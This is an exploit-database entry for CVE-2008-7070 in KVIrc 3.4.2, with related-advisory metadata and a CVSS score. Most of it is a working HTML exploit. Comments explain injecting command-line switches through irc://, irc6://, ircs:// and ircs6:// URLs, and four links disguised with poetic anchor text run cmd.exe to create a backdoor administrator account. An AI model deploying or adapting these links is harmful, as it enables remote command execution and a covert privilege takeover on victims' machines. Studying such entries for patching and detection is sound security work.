KVIrc 3.4.2 Shiny - URI handler Remote Command Execution
🗓️ 21 Nov 2008 00:00:00Reported by Nine:Situations:GroupType 
exploitdb🔗 www.exploit-db.com👁 35 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2008-7070 | 21 Nov 200800:00 | – | circl |
 | CVE-2008-7070 | 25 Aug 200910:00 | – | cve |
 | CVE-2008-7070 | 25 Aug 200910:00 | – | cvelist |
 | CVE-2008-7070 | 25 Aug 200910:00 | – | debiancve |
 | EUVD-2008-7029 | 7 Oct 202500:30 | – | euvd |
 | CVE-2008-7070 | 25 Aug 200910:30 | – | nvd |
 | KVIrc URI Handler Argument Injection Vulnerability | 2 Sep 200900:00 | – | openvas |
| KVIrc URI Handler Argument Injection Vulnerability | 2 Sep 200900:00 | – | openvas |
 | Design/Logic Flaw | 25 Aug 200910:30 | – | prion |
 | CVE-2008-7070 | 25 Aug 200910:30 | – | ubuntucve |
10
<!--
KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit
by Nine:Situations:Group::strawdog
Tested against IE8beta/WINxpsp3
software site:
http://www.kvirc.net/?lang=en
description:
"KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac
OS.[..]"
A command line parsing vulnerability exists (or I should say persists...:
http://secunia.com/advisories/25740, fixed or not?) which can be exploited by
passing the '"' char followed by command line switches to 'irc:///', 'irc6:///',
'ircs:///' and 'ircs6:///' urls, ex. this shows the argument list:
irc:///"%20--help%20"
The most interesting one is the -e switch followed by 'run' command, this runs
calc.exe:
irc:///"%20--nosplash%20-e%20"run%20calc"%20"
The following links add a new user on target with admin privileges
-->
<html>
<body>
<a href='irc:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>Heaven and Earth are impartial</a><br>
<a href='irc6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the ten thousand things as straw dogs</a><br>
<a href='ircs:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>The wise are impartial</a><br>
<a href='ircs6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the people as straw dogs</a><br>
</body>
</html>
# milw0rm.com [2008-11-21]Data
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21 Nov 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.0505